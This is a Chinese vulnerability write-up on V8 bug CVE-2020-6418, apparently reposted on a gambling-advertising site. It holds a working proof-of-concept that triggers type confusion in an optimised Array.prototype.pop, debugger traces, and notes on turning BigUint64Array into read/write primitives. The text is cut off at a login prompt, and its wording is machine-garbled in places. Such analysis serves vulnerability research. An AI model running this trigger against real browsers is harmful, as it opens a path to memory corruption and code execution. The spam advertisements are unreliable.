欢迎进入UG环球官网(环球UG)!

usdt支付接口(www.caibao.it):CVE-2020-6418 V8破绽剖析条记

admin2周前86

前言

最近剖析了一下今年二月份宣布的V8破绽CVE-2020-6418,该破绽属于JIT优化历程中单个OpCodeside effect问题。虽然之前剖析过两个V8的破绽,但都没有涉及优化,以是对这一块照样空缺,若是有失足的地方迎接师傅们指出。

环境搭建

之前都是照着V8环境搭建,100%乐成版在虚拟机上搭V8gdb实在是用的不习惯,以是就想着能不能在windows上边搞,尝试了一下发现实在成本也不高,有些地方反而比linux要利便,所需工具如下:

署理工具: 酸酸乳 4.9.2
Git: 2.22.0.windows.1
Curl: curl 7.55.1 (Windows) libcurl/7.55.1 WinSSL
os: Microsoft Windows 10 专业版 10.0.19041

酸酸乳设置

首先开启全局模式,然后打开选项设置->内陆署理,举行如下设置:

下令行设置

由于要从git拉代码,以是我们需要给他设置一下署理,这样就能通过我们的署理来下载。

git config --global https.proxy socks5://127.0.0.1:1080
 git config --global http.proxy socks5://127.0.0.1:1080
 git config --global git.proxy socks5://127.0.0.1:1080

设置的时刻还会用到curl,也需要通过署理来下载。

, 搭建的时刻可能会失败,每次都要输下令太烦了,以是最好照样设置一下环境变量对照利便
 set HTTP_PROXY=socks5://127.0.0.1:1080
 set HTTPS_PROXY=socks5://127.0.0.1:1080

在下令行测试一下效果

depot_tools

depot_tools是谷歌官方提供的代码管理工具集,我们需要先去github下载。

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

depot_tools加入到PATH环境变量中,我们之后需要多次挪用其中的工具。由于后续我们使用一些工具的时刻,depot_tools会自动下载导致失败,以是置零之后就会使用内陆的工具链,详细操作如下:

// 同理,最好添加到环境变量
 set DEPOT_TOOLS_WIN_TOOLCHAIN=0
 set GYP_MSVS_VERSION=2019

另外,若是泛起了如下内容

v8/buildtools/win/clang-format.exe.sha1' in 'D:\0x2l_v8'
NOTICE: You have PROXY values set in your environment, but gsutilin depot_tools does not (yet) obey them.
Also, --no_auth prevents the normal BOTO_CONFIG environmentvariable from being used.
To use a proxy in this situation, please supply those settingsin a .boto file pointed to by the NO_AUTH_BOTO_CONFIG environmentvariable.

那你需要执行如下下令:

echo [Boto] > D:\0x2l_v8\proxy.boto
 echo proxy=127.0.0.1 >> D:\0x2l_v8\proxy.boto
 echo proxy_port=10802 >> D:\0x2l_v8\proxy.boto
 , 下面的也可以弄环境变量
 set NO_AUTH_BOTO_CONFIG=D:\0x2l_v8\proxy.boto

V8

接着最先下载V8的代码以及天生项目文件。需要注重的是,fetch v8刚最先的时刻会有很长一段时间卡住不动,不要忧郁,他只是没有输出而已,只要没有报错,那就是在正常运行,耐心守候就好了。

, 下载v8的repo
 fetch v8
 cd v8
 , 若是是要调洞的话,就要在这里切到有破绽的谁人commit
 , git reset --hard [commit hash with vulnerability]
 git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
 gclient sync

若是这几条下令没出偏差的话,那你基本就乐成了,不外感受搭建V8环境的问题基本都是出在这一步的,所有执行完之后可以再gclient sync一下,没问题就继续。

之后用ninja直接编译

, 提供默认的gn参数给args.gn文件,辅助我们编译出debug版本和release版本
 python tools\dev\v8gen.py x64.release
 python tools\dev\v8gen.py x64.debug
 , 自动编译
 python tools\dev\gm.py x64.debug d8
 python tools\dev\gm.py x64.release d8

我的电脑8G内存,跑了也许十分钟左右,乐成编译。

靠山知识

指针压缩

之前剖析的V8版本都对照老,以是SmiObject的内存结构是这样:

Smi 64bit
+----------------------+----------------+---+
|                      |                |   |
| Signed value(32bit)  | Padding(31bit) | 0 |
|                      |                |   |
+----------------------+----------------+---+

Object 64bit
+---------------------------------------+---+
|                                       |   |
|            Pointer(63bit)             | 1 |
|                                       |   |
+---------------------------------------+---+

新版本的V8采用了指针压缩手艺来提高性能,异常异常简朴地来说就是申请出4GB的空间作为堆空间分配工具,而且将原本的64bit指针缩减为32bit来示意:

Smi 32bit
+---------------------+---+
|                     |   |
| Signed value(31bit) | 0 |
|                     |   |
+---------------------+---+

Object 32bit
+-----------------+---+          +---------------------+
|                 |   |          |                     |
|  offset (31bit) | 1 +<---------+     base(r13)       |
|                 |   |          |                     |
+-----------------+---+          +---------------------+

Smi对照简朴,直接用32位指针储存就好,保留最后一bitpointer tagObject被分为两部分示意,32位指针中除了pointer tag之外还保留了低32位地址,高32位则被保留在r13寄存器中作为base,当需要取值的时刻,就使用base+offset来示意Object。下面稍微熟悉一下压缩后的数据示意:

// Flags: --allow-natives-syntax

let a = [0, 1, 2, 3, 4];
%DebugPrint(a);
%SystemBreak();

打印效果如下:

DebugPrint: 0000037108086E39: [JSArray]
 - map: 0x0371082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x037108208dcd <JSArray[0]>
 - elements: 0x0371082109d1 <FixedArray[5]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 5
 - properties: 0x0371080406e9 <FixedArray[0]> {
    ,length: 0x037108180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x0371082109d1 <FixedArray[5]> {
           0: 0
           1: 1
           2: 2
           3: 3
           4: 4
 }

查看内存

,

www.allbetgame.us

欢迎进入欧博平台网站(www.aLLbetgame.us),www.aLLbetgame.us开放欧博平台网址、欧博注册、欧博APP下载、欧博客户端下载、欧博游戏等业务。

,
0:000> dd 0000037108086E39-1
00000371`08086e38  082417f1 080406e9 082109d1 0000000a // map properties elements length

0:000> r r13
r13=0000037100000000

注重,这里r13+offset就是Object的地址。接着看Smi

0:000> dd 00000371082109d1-1
00000371`082109d0  080404d9 0000000a 00000000 00000002 // map length 0 1
00000371`082109e0  00000004 00000006 00000008          // 2 3 4

内存中参数的值正是value<<1的巨细。更详细的内容请看Pointer Compression in V8。

BigUint64Array

在之前调试的时刻,读取8字节的内存都是通过Float64Array来实现的,然则由于float是用小数编码保留的,操作的时刻还需要在Float64Uint64之间转换。幸好新版本可以用BigUint64Array工具来操作了,稍微写个小例子试验一下:

var biguint64 = new BigUint64Array(2);
biguint64[0] = 0xc00cn;
%DebugPrint(biguint64);
%SystemBreak();

查看在内存中的结构:

DebugPrint: 0000021C08085F65: [JSTypedArray]
 - map: 0x021c08240671 <Map(BIGUINT64ELEMENTS)> [FastProperties]
 - prototype: 0x021c08202a19 <Object map = 0000021C08240699>
 - elements: 0x021c08085f4d <ByteArray[16]> [BIGUINT64ELEMENTS]
 - embedder fields: 2
 - buffer: 0x021c08085f1d <ArrayBuffer map = 0000021C08241189>
 - byte_offset: 0
 - byte_length: 16
 - length: 2
 - data_ptr: 0000021C08085F54
   - base_pointer: 0000000008085F4D
   - external_pointer: 0000021C00000007
 - properties: 0x021c080406e9 <FixedArray[0]> {}
 - elements: 0x021c08085f4d <ByteArray[16]> {
           0: 42
           1: 0
 }
 - embedder fields = {
    0, aligned pointer: 0000000000000000
    0, aligned pointer: 0000000000000000
 }
0:000> dd 0000037308085FB5-1
00000373`08085fb4  08240671 080406e9 08085f9d 08085f6d // map properties elements buffer
0:000> dp 0000037308085FB5-1+10
00000373`08085fc4  00000000`00000000 00000000`00000010 // byte_offset byte_length
00000373`08085fd4  00000000`00000002 00000373`00000007 // length external_pointer
00000373`08085fe4  00000000`08085f9d                   // base_pointer
0:000> ?00000373`00000007+00000000`08085f9d
Evaluate expression: 3792590888868 = 00000373`08085fa4 // data_ptr=external_pointer+base_pointer
0:000> dp 00000373`08085fa4
00000373`08085fa4  deaddead`deaddead c00cc00c`c00cc00c // biguint64[0] biguint64[1]

data_ptr指向我们的目的内存,且没有直接用64位数字来示意。它的值由external_pointer+base_pointer获得,划分示意data_ptr的高32位地址和低32位地址。回忆一下指针压缩中的4GB内存空间,我们可以得出以下结论:

  • 若是我们控制了base_pointer,相当于实现了4GB堆地址空间的随便读写。
  • 若是我们读取了external_pointer的值,相当于获得base的值(保留在r13寄存器)。
  • 若是external_pointer&&base_pointer都被我们控制,我们就实现了随便地址读写。

inlining

TurboFan器械对照多,我稍微提一下和本破绽相关的内容,更详细的器械请看我写出来的链接。下图是TurboFan的优化历程

Inlining的目的是将目的函数内联到当前函数之中,不仅节省了函数挪用的分外开销,还更利便后续的其他优化(冗余缩减,逃逸剖析等等)。详细的实现分为两种:

  1. General Inlining。一样平常用来处置用户代码的内联,在JSInliner针对 JSCallFunctionJSCallConstruct 举行处置,用 BytecodeGraphBuilder 凭据 Interpreter 天生的 Bytecodecallee 直接天生一个子图,最终将 Call 节点替换为该子图
  2. Builtin Inlining。一样平常用来处置js内置函数的内联。TurboFan 将会在两个地方举行 Builtin 的内联,JSBuiltinReducer 处置的 Inline 必须在 Type Pass 后面,也就是需要采集 Type InformationJSCallReducer 处置的则稍早,处置一些类型严酷的 Builtin 好比 Array.prototype.map
    • inlining/native context specialization pass: JSCallReducer
    • typed lowering pass: JSBuiltinReducer

更详细的内容请看:An overview of the TurboFan compiler,A Tale Of TurboFan,TurboFan Inlining。

破绽剖析

poc剖析

首先查看回归测试,我们可以获得以下信息:

[turbofan] Fix bug in receiver maps inference

JSCreate can have side effects (by looking up the prototype on an
object), so once we walk past that the analysis result must be marked
as "unreliable".

破绽的成因在于turbofan以为JSCreate结点不会存在side effects,因此并未将其标记为unreliable。但我们尚不清晰这个破绽会造成什么危害,接着看一下我修改后的的poc

// Flags: --allow-natives-syntax

let a = [0, 1, 2, 3, 4];    // 建立时的类型是PACKED_SMI_ELEMENTS
function empty() {}
function f(p) {
    // Reflect.construct可以天生JSCreate结点
    // 作为pop函数的参数可以将JSCreate结点加入到effech chain之中,缘故原由之后会说
    return a.pop(Reflect.construct(empty, arguments, p));
}
// new Proxy(target, handler)设置回调函数 
// handler.get()用于阻挡工具的读取属性操作
let p = new Proxy(Object, {
    get: () => {
        %DebugPrint(a);
        %SystemBreak();
        a[0] = 1.1; // 修改之后的类型是PACKED_DOUBLE_ELEMENTS
        %DebugPrint(a);
        %SystemBreak();
        return Object.prototype;
    }
});

function main(p) {
    return f(p);
}

%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);    // a = [0, 1, 2, 3]
main(empty);    // a = [0, 1, 2]
%OptimizeFunctionOnNextCall(main);
// 当f()的第三个参数为p时,会挪用p.prototype来建立新的工具
// 接见属性的时刻自然会被handler.get()阻挡,也就会跳转到我们设置的get函数
main(p);

第一眼看到的内容如下:

  1. poc首先设置了属性读取操作的处置器,并在其中界说了会修改了a数组类型的操作。

  2. 接着通过Reflect.construct(empty, arguments, p)来触发处置器,属性读取之余修改了数组类型,看一下修改前后的内存结构:

    DebugPrint: 0000002108085EFD: [JSArray]
      - map: 0x0021082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
      - prototype: 0x002108208dcd <JSArray[0]>
      - elements: 0x00210808608d <FixedArray[5]> [PACKED_SMI_ELEMENTS]
      - length: 3
      - properties: 0x0021080406e9 <FixedArray[0]> {
         ,length: 0x002108180165 <AccessorInfo> (const accessor descriptor)
      }
      - elements: 0x00210808608d <FixedArray[5]> {
                0: 0
                1: 1
                2: 2
              3-4: 0x002108040385 <the_hole>
      }
    
     // 修改前
     0:000> dd 0x00210808608d-1
     00000021`0808608c  080404b1 0000000a 00000000 00000002 // map length 0 1
     00000021`0808609c  00000004                            // 2
    DebugPrint: 0000002108085EFD: [JSArray]
      - map: 0x002108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
      - prototype: 0x002108208dcd <JSArray[0]>
      - elements: 0x002108086149 <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
      - length: 3
      - properties: 0x0021080406e9 <FixedArray[0]> {
         ,length: 0x002108180165 <AccessorInfo> (const accessor descriptor)
      }
      - elements: 0x002108086149 <FixedDoubleArray[5]> {
                0: 1.1
                1: 1
                2: 2
              3-4: <the_hole>
      }
    
     // 修改后
     0:000> dd 0000002108086149-1
     00000021`08086148  08040a3d 0000000a                   // map length
     0:000> dq 0000002108086149-1+8
     00000021`08086150  3ff19999`9999999a 3ff00000`00000000 // 1.1 1
     00000021`08086160  40000000`00000000                   // 2
  3. 3. a.pop触发破绽。

    0:000> g
     Breakpoint 1 hit
     00000021`000c2c3d 418b448807      mov     eax,dword ptr [r8+rcx*4+7] ds:00000021`080861bc=00000000
     0:000> r
     rax=0000002108085efd rbx=00000148ef6e7080 rcx=0000000000000002
     rdx=0000002108086150 rsi=0000000000000000 rdi=0000002108085efd
     rip=00000021000c2c3d rsp=0000003cb4dfeaa0 rbp=0000003cb4dfeac0
      r8=00000021080861ad  r9=0000000000000004 r10=0000002108086150
     r11=0000002108085efd r12=00000021080861ad r13=0000002100000000
     r14=00000021080861ac r15=00000021080861c8
     iopl=0         nv up ei pl nz na pe nc
     cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
     00000021`000c2c3d 418b448807      mov     eax,dword ptr [r8+rcx*4+7] ds:00000021`080861bc=00000000
     0:000> dd 0000002108085EFD-1
     00000021`08085efc  08241891 080406e9 080861ad 00000004
     0:000> dd 00000021080861ad-1
     00000021`080861ac  08040a3d 0000000a 9999999a 3ff19999
     00000021`080861bc  00000000 3ff00000 00000000 00000000

    dword ptr说明晰pop函数仍然把数组看成是PACKED_SMI_ELEMENTS,殊不知数组的类型已经改变,原本存放00000004的内存处已经变成了3ff0000000000000的低八字节。

连系commit中给出的信息,推测是在优化后的a.pop函数挪用的时刻,忽略了JSCreateside-effect,并没有对a数组的类型举行检查,从而造成了类型混淆。

源码剖析

patch位于InferReceiverMapsUnsafe函数中,该函数会遍历effect chain来检查opcode是否拥有side-effect,返回值有以下三个

// Walks up the {effect} chain to find a witness that provides map
  // information about the {receiver}. Can look through potentially
  // side effecting nodes.
  enum InferReceiverMapsResult {
    kNoReceiverMaps,         // No receiver maps inferred.
    kReliableReceiverMaps,   // Receiver maps can be trusted.
    kUnreliableReceiverMaps  // Receiver maps might have changed (side-effect).
  };

由于问题发生在JSCreate中,以是着重看一下这一块的实现就好

// 完整文件位于src\compiler\node-properties.cc
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
    JSHeapBroker* broker, Node* receiver, Node* effect,
    ZoneHandleSet<Map>* maps_return) {

  InferReceiverMapsResult result = kReliableReceiverMaps;
  while (true) {
    switch (effect->opcode()) {
      case IrOpcode::kJSCreate: {
        // patch后将效果标记为kUnreliableReceiverMaps
        // result = kUnreliableReceiverMaps;
        break;
      }
    }
  }
}

patch之前,函数对于JSCreate返回kReliableReceiverMaps,即以为JSCreate结点的类型不会被改变。我们对这个地方下断点看一下

0:000> bl
     0 e Disable Clear  00007ff6`93479f04  [D:\0x2l_v8\v8\src\compiler\node-properties.cc @ 380]     0001 (0001)  0:**** d8!v8::internal::compiler::NodeProperties::InferReceiverMapsUnsafe+0x2b4
0:000> g
Breakpoint 0 hit
d8!v8::internal::compiler::NodeProperties::InferReceiverMapsUnsafe+0x2b4:
00007ff6`93479f04 4889f1          mov     rcx,rsi
0:000> k
 , Child-SP          RetAddr               Call Site
00 00000067`5a9fda70 00007ff6`93472634     d8!v8::internal::compiler::NodeProperties::InferReceiverMapsUnsafe+0x2b4 [D:\0x2l_v8\v8\src\compiler\node-properties.cc @ 380] 
01 00000067`5a9fdb50 00007ff6`933a844f     d8!v8::internal::compiler::MapInference::MapInference+0x54 [D:\0x2l_v8\v8\src\compiler\map-inference.cc @ 21] 
02 00000067`5a9fdbe0 00007ff6`933a55a4     d8!v8::internal::compiler::JSCallReducer::ReduceArrayPrototypePop+0xff [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 4925] 
03 00000067`5a9fde10 00007ff6`9339c14e     d8!v8::internal::compiler::JSCallReducer::ReduceJSCall+0x1e4 [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 3989] 
04 00000067`5a9fdec0 00007ff6`9339adf3     d8!v8::internal::compiler::JSCallReducer::ReduceJSCall+0x1de [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 3783] 
05 00000067`5a9fdff0 00007ff6`933858f4     d8!v8::internal::compiler::JSCallReducer::Reduce+0x53 [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 2210] 
06 00000067`5a9fe080 00007ff6`93385347     d8!v8::internal::compiler::GraphReducer::Reduce+0x94 [D:\0x2l_v8\v8\src\compiler\graph-reducer.cc @ 90] 
07 00000067`5a9fe1e0 00007ff6`93385038     d8!v8::internal::compiler::GraphReducer::ReduceTop+0x167 [D:\0x2l_v8\v8\src\compiler\graph-reducer.cc @ 159] 
08 00000067`5a9fe260 00007ff6`93493bf1     d8!v8::internal::compiler::GraphReducer::ReduceNode+0xc8 [D:\0x2l_v8\v8\src\compiler\graph-reducer.cc @ 56] 
09 00000067`5a9fe2c0 00007ff6`93487c85     d8!v8::internal::compiler::InliningPhase::Run+0x541 [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 1412] 
0a 00000067`5a9fe680 00007ff6`934839c2     d8!v8::internal::compiler::PipelineImpl::Run<v8::internal::compiler::InliningPhase>+0xf5 [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 1322] 
0b 00000067`5a9fe720 00007ff6`934833bc     d8!v8::internal::compiler::PipelineImpl::CreateGraph+0x82 [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 2393] 
0c 00000067`5a9fe780 00007ff6`92c4e775     d8!v8::internal::compiler::PipelineCompilationJob::PrepareJobImpl+0x1bc [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 1124] 
0d 00000067`5a9fe7d0 00007ff6`92c5236f     d8!v8::internal::OptimizedCompilationJob::PrepareJob+0x265 [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 221] 
0e (Inline Function) --------`--------     d8!v8::internal::`anonymous namespace'::GetOptimizedCodeNow+0x20f [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 750] 
0f 00000067`5a9fe940 00007ff6`92c52ea9     d8!v8::internal::`anonymous namespace'::GetOptimizedCode+0xbdf [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 911] 
10 00000067`5a9febc0 00007ff6`9300fa5f     d8!v8::internal::Compiler::CompileOptimized+0xa9 [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 1493] 
11 (Inline Function) --------`--------     d8!v8::internal::__RT_impl_Runtime_CompileOptimized_NotConcurrent+0x71 [D:\0x2l_v8\v8\src\runtime\runtime-compiler.cc @ 90] 
12 00000067`5a9fec20 00007ff6`935b4e1c     d8!v8::internal::Runtime_CompileOptimized_NotConcurrent+0x9f [D:\0x2l_v8\v8\src\runtime\runtime-compiler.cc @ 82] 
13 00000067`5a9fec90 00007ff6`935483ed     d8!Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit+0x3c
14 00000067`5a9fece0 00007ff6`93548291     d8!Builtins_InterpreterEntryTrampoline+0x22d
15 00000067`5a9fed10 00007ff6`93545d1e     d8!Builtins_InterpreterEntryTrampoline+0xd1
16 00000067`5a9fed70 00007ff6`9354590c     d8!Builtins_JSEntryTrampoline+0x5e
17 00000067`5a9fed98 00007ff6`92cc4196     d8!Builtins_JSEntry+0xcc
18 (Inline Function) --------`--------     d8!v8::internal::GeneratedCode<unsigned long long,unsigned long long,unsigned long long,unsigned long long,unsigned long long,long long,unsigned long long **>::Call+0x18 [D:\0x2l_v8\v8\src\execution\simulator.h @ 142] 
19 00000067`5a9feeb0 00007ff6`92cc33e5     d8!v8::internal::`anonymous namespace'::Invoke+0xd86 [D:\0x2l_v8\v8\src\execution\execution.cc @ 367] 
1a 00000067`5a9ff090 00007ff6`92b952af     d8!v8::internal::Execution::Call+0x125 [D:\0x2l_v8\v8\src\execution\execution.cc @ 461] 
1b 00000067`5a9ff140 00007ff6`92b762ae     d8!v8::Script::Run+0x2af [D:\0x2l_v8\v8\src\api\api.cc @ 2186] 
1c 00000067`5a9ff2d0 00007ff6`92b8148b     d8!v8::Shell::ExecuteString+0x73e [D:\0x2l_v8\v8\src\d8\d8.cc @ 626] 
1d 00000067`5a9ff580 00007ff6`92b83a35     d8!v8::SourceGroup::Execute+0x27b [D:\0x2l_v8\v8\src\d8\d8.cc @ 2708] 
1e 00000067`5a9ff640 00007ff6`92b85779     d8!v8::Shell::RunMain+0x245 [D:\0x2l_v8\v8\src\d8\d8.cc @ 3192] 
1f 00000067`5a9ff770 00007ff6`937a9ef8     d8!v8::Shell::Main+0x1309 [D:\0x2l_v8\v8\src\d8\d8.cc @ 3820] 
20 (Inline Function) --------`--------     d8!invoke_main+0x22 [d:\agent\_work\63\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 78] 
21 00000067`5a9ffcb0 00007fff`9aa27034     d8!__scrt_common_main_seh+0x10c [d:\agent\_work\63\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 
22 00000067`5a9ffcf0 00007fff`9bb1d0d1     KERNEL32!BaseThreadInitThunk+0x14
23 00000067`5a9ffd20 00000000`00000000     ntdll!RtlUserThreadStart+0x21

凭据客栈可知,上层函数是MapInference类的组织函数,返回之后看一下详细实现

// 完整代码见src\compiler\map-inference.cc
MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
    : broker_(broker), object_(object) {
登录并阅读全文
上一篇 下一篇

猜你喜欢

网友评论

  • 2021-01-27 00:00:05

    Allbet欢迎进入allbet欧博官网。allbet欧博官网开放ALLBET欧博真人客户端、Allbet代理网页版、Allbet会员网页版、Allbet会员注册、Allbet代理开户、Allbet电脑客户端下载、Allbet手机版下载等业务。收藏评论,一气呵成

  • 2021-01-31 00:01:50

    去年,Uniswap、Curve和1inch等备受瞩目的DeFi项目公布了治理Token,并以追溯性空投的形式,重金奖励已往的协议用户。会走红全网的

  • 2021-02-18 00:00:50

    环球UG欢迎进入环球UG官网(UG环球),环球UG官方网站:www.ALLbetgame.us开放环球UG网址访问、环球UG会员注册、环球UG代理申请、环球UG电脑客户端、环球UG手机版下载等业务。来了来了我来了

随机文章
热门文章
热评文章
热门标签